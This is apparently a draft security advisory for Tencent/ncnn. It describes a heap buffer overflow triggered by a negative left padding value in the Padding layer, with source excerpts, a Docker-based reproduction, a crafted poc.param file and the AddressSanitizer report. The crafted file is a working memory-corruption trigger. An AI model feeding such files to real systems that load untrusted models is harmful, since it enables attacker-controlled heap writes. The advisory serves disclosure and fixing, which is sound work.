All advisories
Draft

Heap Buffer Overflow From Negative Padding

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Buffer Overflow From Negative Padding

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/padding.cpp:78 in copy_make_border_image
Sanitizer verdict: heap-buffer-overflow

Summary

A .param file with a negative left padding value makes ncnn write before the start of a freshly allocated heap buffer. ncnnoptimize's shape-inference pass executes the Padding layer, which sizes its output as w + left + right but then copies the input row starting at outptr + left — a negative displacement. The attacker controls both the offset and the copied bytes, so this is an out-of-bounds write to memory preceding the allocation.

Detail

Padding::load_param takes all four edge sizes as plain signed ints with no sign check:

top = pd.get(0, 0); bottom = pd.get(1, 0); left = pd.get(2, 0); right = pd.get(3, 0);

Padding::forward computes the output extent as a sum, so a negative left cancelled by a positive right produces a perfectly ordinary-looking output width, and the allocation succeeds. The same negative left is then handed to the copy helper as a pointer displacement:

// src/layer/padding.cpp:289
    int outw = w + left + right;

    if (dims == 1)
    {
        top_blob.create(outw, elemsize, opt.blob_allocator);
        if (top_blob.empty())
            return -100;

        if (elemsize == 1)
            copy_make_border_image<signed char>(bottom_blob, top_blob, 0, left, type, static_cast<signed char>(value));
        if (elemsize == 2)
            copy_make_border_image<unsigned short>(bottom_blob, top_blob, 0, left, type, support_fp16_storage && opt.use_fp16_storage ? float32_to_float16(value) : float32_to_bfloat16(value));
        if (elemsize == 4)
            copy_make_border_image<float>(bottom_blob, top_blob, 0, left, type, value);

// src/layer/padding.cpp:78
                memcpy(outptr + left, ptr, src.w * sizeof(T));

Inside copy_make_border_image, the border-fill loop for (; x < left; x++) is a no-op when left is negative, so no clamping occurs there either. The wide-row path (src.w >= 12) then does a straight memcpy to outptr + left.

The PoC uses a 16-wide 1-D input with 2=-4 3=4, giving outw = 16 - 4 + 4 = 16 and a 132-byte allocation. copy_make_border_image<float> is called with left = -4, so the memcpy destination is outptr - 16 bytes and it copies 16 * sizeof(float) = 64 bytes — the first 16 bytes land before the region, exactly as ASan reports ("16 bytes before 132-byte region"). Making left more negative moves the write further back into the heap, and the copied bytes are the attacker's input tensor contents.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-overflow-from-negative-padding && cd ncnn-poc-heap-buffer-overflow-from-negative-padding

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=16
Padding pad 1 1 data out 2=-4 3=4
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000001070 at pc 0x7dd589b0e303 bp 0x7fff07be52c0 sp 0x7fff07be4a68
WRITE of size 64 at 0x511000001070 thread T0
    #0 0x7dd589b0e302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x58348a1523de in copy_make_border_image<float> /ncnn/src/layer/padding.cpp:78
    #2 0x58348a145f1b in ncnn::Padding::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/padding.cpp:302
    #3 0x58348a1a02cb in ncnn::Padding_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/padding_x86_avx512.cpp:503
    #4 0x583484f4af2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #5 0x583484f3cb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #6 0x583484f9c9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #7 0x583484e2e3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #8 0x583484eabeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #9 0x7dd5894961c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x7dd58949628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x583484e2b624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x511000001070 is located 16 bytes before 132-byte region [0x511000001080,0x511000001104)
allocated by thread T0 here:
    #0 0x7dd589b0ff1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x583484ec068e in fastMalloc /ncnn/src/allocator.h:62
    #2 0x583484ec068e in ncnn::PoolAllocator::fastMalloc(unsigned long) /ncnn/src/allocator.cpp:159
    #3 0x583484efab38 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:329
    #4 0x58348a1459f0 in ncnn::Padding::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/padding.cpp:293
    #5 0x58348a1a02cb in ncnn::Padding_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/padding_x86_avx512.cpp:503
    #6 0x583484f4af2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #7 0x583484f3cb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #8 0x583484f9c9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #9 0x583484e2e3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #10 0x583484eabeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #11 0x7dd5894961c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #12 0x7dd58949628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #13 0x583484e2b624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy

Credit

Zheng Yu @ DepthFirst